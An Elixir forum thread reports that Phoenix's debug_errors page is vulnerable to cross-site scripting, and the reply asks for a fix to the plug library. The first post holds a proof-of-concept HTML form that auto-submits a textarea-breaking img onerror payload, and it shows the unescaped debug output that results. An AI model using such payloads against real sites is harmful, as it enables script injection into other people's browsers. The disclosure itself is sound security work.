# Phoenix \`debug\_errors\` vulnerable to XSS

**URL:** <https://forum.elixirforum.com/t/phoenix-debug-errors-vulnerable-to-xss/69936>\
**Category:** Proposals: Ideas\
**Tags:** phoenix, xss\
**Created:** [March 13, 2025, 9:02am UTC](https://forum.elixirforum.com/t/phoenix-debug-errors-vulnerable-to-xss/69936 "2025-03-13T09:02:40Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

**Author:** ![i-n-g-m-a-r](https://forum.elixirforum.com/letter_avatar_proxy/v4/letter/i/c67d28/32.png) [@i-n-g-m-a-r](https://forum.elixirforum.com/u/i-n-g-m-a-r)\
**Post date:** [March 13, 2025, 9:02am UTC](https://forum.elixirforum.com/t/phoenix-debug-errors-vulnerable-to-xss/69936/1 "2025-03-13T09:02:40Z")

</div>

When `debug_errors: true` javascript can be executed.

```elixir
<html>
  <body>
    <form id="xss" action="https://domain.com/NateMail.php" method="POST">
      <input type="hidden" name="recipient" value="hhhhhh&lt;&#47;textarea&gt;&lt;img&#47;src&#61;x&#32;onerror&#61;alert&#40;'Identied_as_CVE-2019-13392'&#41;&gt;" />
    </form>
    <script>
      document.getElementById('xss').submit();
    </script>
  </body>
</html>

```

Error reporting allows javascript to be executed.

```elixir
<div class="code-explorer">
    <textarea class="hidden-contents" role="copy-contents"># Plug.CSRFProtection.InvalidCSRFTokenError at POST /NateMail.php

Exception:

    ** (Plug.CSRFProtection.InvalidCSRFTokenError) invalid CSRF (Cross Site Request Forgery) token, please make sure that:
    
      * The session cookie is being sent and session is loaded
      * The request include a valid '_csrf_token' param or 'x-csrf-token' header
        (plug 1.14.0) lib/plug/csrf_protection.ex:316: Plug.CSRFProtection.call/2

[etc]

## Connection details

### Params

    %{"path" => ["NateMail.php"], "recipient" => "hhhhhh</textarea><img/src=x onerror=alert('Identied_as_CVE-2019-13392')>"}

[etc]

```

---

<div class="post-metadata">

**Author:** ![josevalim](https://forum.elixirforum.com/user_avatar/forum.elixirforum.com/josevalim/32/1787_2.png) [@josevalim](https://forum.elixirforum.com/u/josevalim)\
**Post date:** [March 13, 2025, 6:36pm UTC](https://forum.elixirforum.com/t/phoenix-debug-errors-vulnerable-to-xss/69936/2 "2025-03-13T18:36:05Z")

</div>

Could you please open up an issue or submit a PR? That would be part of the [GitHub - elixir-plug/plug: Compose web applications with functions · GitHub](https://github.com/elixir-plug/plug). This is a dev only mode but it would be good to get it addressed anyway. Thank you.

---

<div class="post-metadata">

**Author:** ![i-n-g-m-a-r](https://forum.elixirforum.com/letter_avatar_proxy/v4/letter/i/c67d28/32.png) [@i-n-g-m-a-r](https://forum.elixirforum.com/u/i-n-g-m-a-r)\
**Post date:** [March 14, 2025, 7:59am UTC](https://forum.elixirforum.com/t/phoenix-debug-errors-vulnerable-to-xss/69936/3 "2025-03-14T07:59:59Z")

</div>

Tnx, PR was submitted.